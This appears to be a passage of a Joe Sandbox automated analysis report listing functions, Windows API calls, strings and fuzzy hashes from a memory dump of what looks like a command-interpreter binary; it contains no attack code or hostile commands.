memmove.MSVCRT ref: 00007FF718D716AD
memmove.MSVCRT ref: 00007FF718D716E6
NtFsControlFile.NTDLL ref: 00007FF718D7171D
RtlNtStatusToDosError.NTDLL ref: 00007FF718D7172F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D7173D
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D71754
RtlFreeHeap.NTDLL ref: 00007FF718D7177F
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71797

Part of subcall function 00007FF718D71A40: memset.MSVCRT ref: 00007FF718D71AA6
Part of subcall function 00007FF718D71A40: memset.MSVCRT ref: 00007FF718D71ACC
Part of subcall function 00007FF718D71A40: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B3E
Part of subcall function 00007FF718D71A40: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B67
Part of subcall function 00007FF718D71A40: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71BD7
Part of subcall function 00007FF718D71A40: _wcsicmp.MSVCRT ref: 00007FF718D71C05

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
String ID:
API String ID: 3935429995-0
Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction ID: e262bebe74c5f069e6ff2c7615e8b9685dfc5013b9db2482a3780ccc22556c59
Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction Fuzzy Hash: 3A61B126A08F96C2EB14AF21A405579FBA1FB8DF68F858235DE8A43790DF3CD40D8714

Function 00007FF718D53140 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 229timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D53189
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D5319F
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D531B5
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D531CB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D5E619
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF718D5E738

Strings

, xrefs: 00007FF718D5E718
%2d%s%02d%s%02d%s%02d, xrefs: 00007FF718D53236, 00007FF718D5E5C9
%02d%s%02d%s, xrefs: 00007FF718D5E799
HH:mm:ss t, xrefs: 00007FF718D5E629

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$HH:mm:ss t
API String ID: 55602301-695310191
Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction ID: e4e1c09b9103a124a822a8435c7c64a55bbebf752b0a5f600b7a72b126ea610f
Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction Fuzzy Hash: A1A18272A08F4A96EB10AB10E4401BAF7B5FB89764FD04236DA8E43694EF3CE54CC754

Function 00007FF718D435B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON

Download Yara Rule

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D43620

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 41fbdc0f45981392a8be1ae3f0b798cbf48c2336bf4ed7969cfd2cedfd2f237f
Instruction ID: 26b99ddedf1d57922a2265bf6bf660dfbc7ecaac4b56e1808808a69afb4ec500
Opcode Fuzzy Hash: 41fbdc0f45981392a8be1ae3f0b798cbf48c2336bf4ed7969cfd2cedfd2f237f
Instruction Fuzzy Hash: 04919F32608F8A86EB28AF25D4502FDF6A0FB4D769F944135DA8E47B94DE3CD54CC224

Function 00007FF718D5823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON

Download Yara Rule

APIs

FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction ID: f42558e83a8816533f83753d22104c85286e8e14183712f9df04dda3b31d3916
Opcode Fuzzy Hash: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction Fuzzy Hash: 48512B35A09F4A8AE700AF11A441279FBB0FB5EBA1FD48232DA9D43354CF3CE45C8618

Function 00007FF718D43D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF718D43DD4

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D41884: wcsrchr.MSVCRT ref: 00007FF718D4194E
Part of subcall function 00007FF718D41884: _wcsnicmp.MSVCRT ref: 00007FF718D419A1

NtQueryInformationProcess.NTDLL ref: 00007FF718D43E9C
NtSetInformationProcess.NTDLL ref: 00007FF718D43EC9
NtSetInformationProcess.NTDLL ref: 00007FF718D43F4D

Strings

%9d, xrefs: 00007FF718D43EF9

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
String ID: %9d
API String ID: 1006866328-2241623522
Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction ID: 6a198dbc205421cb02d477cbc51231dbbf1da7478deb92ffe7b2ad0f942f0cf5
Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction Fuzzy Hash: 1F516072A08B4A9AE700AF1198415A8FBB0FB49774FC44635DAAD53795CF3CE50CCB24

Function 00007FF718D48DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D48E6D
memset.MSVCRT ref: 00007FF718D48E93

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48F9A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48FBC

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1a4803f2d100bf75eb873e70d7f896504ce2af50745e4dff0b3b1325a9c43adf
Instruction ID: 785cd84dc2ca9042db46c23a143b05e8caa07473419494595fb88bf0b5abf10d
Opcode Fuzzy Hash: 1a4803f2d100bf75eb873e70d7f896504ce2af50745e4dff0b3b1325a9c43adf
Instruction Fuzzy Hash: 8EC1F832A09F8A86EB61EB11E450AB9E3B0FB597A4F884171DA8D07B95DF3CD14CC314

Function 00007FF718D502A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF718D502C2
_wcsicmp.MSVCRT ref: 00007FF718D502E4
_wcsicmp.MSVCRT ref: 00007FF718D50306
_wcsicmp.MSVCRT ref: 00007FF718D50328
_wcsicmp.MSVCRT ref: 00007FF718D5034A
_wcsicmp.MSVCRT ref: 00007FF718D50368
_wcsicmp.MSVCRT ref: 00007FF718D56CF2
_wcsicmp.MSVCRT ref: 00007FF718D56D61
_wcsicmp.MSVCRT ref: 00007FF718D56D7F
_wcsicmp.MSVCRT ref: 00007FF718D56D9D
_wcsicmp.MSVCRT ref: 00007FF718D56DBB
iswspace.MSVCRT(?,?,?,00000000,?,?,?,?,?,?,?,?,?,00007FF718D4E164), ref: 00007FF718D56E01
wcschr.MSVCRT(?,?,?,00000000,?,?,?,?,?,?,?,?,?,00007FF718D4E164), ref: 00007FF718D56E2C

Strings

IF/?, xrefs: 00007FF718D50321
;, xrefs: 00007FF718D503FD
FOR, xrefs: 00007FF718D502BB
=,;, xrefs: 00007FF718D56E1C
REM, xrefs: 00007FF718D50343
FOR/?, xrefs: 00007FF718D502DD, 00007FF718D56CE9
REM/?, xrefs: 00007FF718D50361

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$iswspacewcschr
String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 840959033-3627297882
Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction ID: 072f1ec79d8d14a9024a761b583007744e83c5265736a651e3af6450152a9169
Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction Fuzzy Hash: FDD15B21E08F0B86FB10BB61E8452B8E7B1BF5DB64FC44136D58D462A5EE2CA40D8739

Function 00007FF718D432B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

_get_osfhandle.MSVCRT ref: 00007FF718D432F3
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF718D432A4), ref: 00007FF718D43309
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D43384
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D611DF

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
String ID:
API String ID: 611521582-0
Opcode ID: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction ID: 92d55ec69ea7531689af60269d462ce89c25f578714490eb5cdd73d8fd24372a
Opcode Fuzzy Hash: eb4f65db57e5e21f7b3e544c495bce771b340a8d61a99cf5019a4a82effd2785
Instruction Fuzzy Hash: D4A1C232F08F5A86FB18AB65A4052BDE6A1FB4DB69FC44139CD8E46B40DF3C944D8724

Function 00007FF718D526E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5277D
_open_osfhandle.MSVCRT ref: 00007FF718D5279E

Strings

con, xrefs: 00007FF718D527EF

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CreateFile_open_osfhandle
String ID: con
API String ID: 2905481843-4257191772
Opcode ID: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction ID: 4d15f64e28fc5b51f1478e93b8b6fb646ae215716a18e6cca9a1505304066dec
Opcode Fuzzy Hash: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction Fuzzy Hash: DF718232A08B858AE720AF14A440279FBB1FB8EB75F944335EA9D42794DF3CD44D8B14

Function 00007FF718D71A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D71AA6
memset.MSVCRT ref: 00007FF718D71ACC

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B3E
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B67
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71BD7
_wcsicmp.MSVCRT ref: 00007FF718D71C05
_wcsicmp.MSVCRT ref: 00007FF718D71C34
_wcsicmp.MSVCRT ref: 00007FF718D71C63
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D71C89
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D71CA9

Strings

CSVFS, xrefs: 00007FF718D71C58
NTFS, xrefs: 00007FF718D71BFA
REFS, xrefs: 00007FF718D71C29

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 25656f9dd7156011cddd26e1f63935c756ad3329fe6ff4f37f6319205113c483
Instruction ID: 607ecee09e86f02c098fffcc034f065a538f20ee09a808beb2fd93aa1744daf3
Opcode Fuzzy Hash: 25656f9dd7156011cddd26e1f63935c756ad3329fe6ff4f37f6319205113c483
Instruction Fuzzy Hash: 55615932608F868AEB65AF21E8443E9F7A5FB49B98F844235CA4D4B758DF38D10CC714

Function 00007FF718D472B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,00000000,00000000,00007FF718D47279,?,?,?,?,?,00007FF718D4BFA9), ref: 00007FF718D64485

Strings

FOR, xrefs: 00007FF718D64535
LSS , xrefs: 00007FF718D64799
EQU , xrefs: 00007FF718D6477D
IF /?, xrefs: 00007FF718D64664
LEQ , xrefs: 00007FF718D647A7
FOR /?, xrefs: 00007FF718D64654
NEQ , xrefs: 00007FF718D6478B
== , xrefs: 00007FF718D64765
GTR , xrefs: 00007FF718D647B5
REM /?, xrefs: 00007FF718D64678
GEQ , xrefs: 00007FF718D647C1

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction ID: bc6e28422725a81fd9a7074aaaff528feaf21dac33ad8da8994c378d6af34eeb
Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction Fuzzy Hash: 6CC17C20F0CF4E85E724FA1651845BCE7A3AB4EBB4FE54036D98D53A91CF2CA44D8369

Function 00007FF718D4B998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

memset.MSVCRT ref: 00007FF718D4BA2B
wcschr.MSVCRT ref: 00007FF718D4BA8A
wcschr.MSVCRT ref: 00007FF718D4BAAA

Strings

=,;, xrefs: 00007FF718D4BC9C
-, xrefs: 00007FF718D5C3EA
:.\, xrefs: 00007FF718D4BAA3
=,;+/[] ", xrefs: 00007FF718D4BA83

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heapwcschr$AllocProcessmemset
String ID: -$:.\$=,;$=,;+/[] "
API String ID: 2872855111-969133440
Opcode ID: e048727378a3460f555082e81c55544313692faeaf2a868744a414ec58a8adda
Instruction ID: d835583ea9d37ce22172e5bd9dd944262f36099ec3a71817a17c57039e2e1424
Opcode Fuzzy Hash: e048727378a3460f555082e81c55544313692faeaf2a868744a414ec58a8adda
Instruction Fuzzy Hash: 66B18231A08F4A81EB60AB55908427DE6A0FF5C7A4FD94275CADE43B94DF7CE44D8328

Function 00007FF718D486B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48711
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48729
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48748
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4875F
_wcsicmp.MSVCRT ref: 00007FF718D48805
_wcsicmp.MSVCRT ref: 00007FF718D4881F
_wcsicmp.MSVCRT ref: 00007FF718D48839

Strings

DISABLEEXTENSIONS, xrefs: 00007FF718D48815
ENABLEDELAYEDEXPANSION, xrefs: 00007FF718D4882F
ENABLEEXTENSIONS, xrefs: 00007FF718D487FB
DISABLEDELAYEDEXPANSION, xrefs: 00007FF718D5B366

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 3223794493-3086019870
Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction ID: 8a16cf73e8b84ef4f4f50ec84ef19c1d8250074c3dec8f81551d67a78790c37b
Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction Fuzzy Hash: 0D516D35A08F4A8AEB04AB15A411179EBB0FB5DBB4FD84175C99E027A4DF3CE04DC728

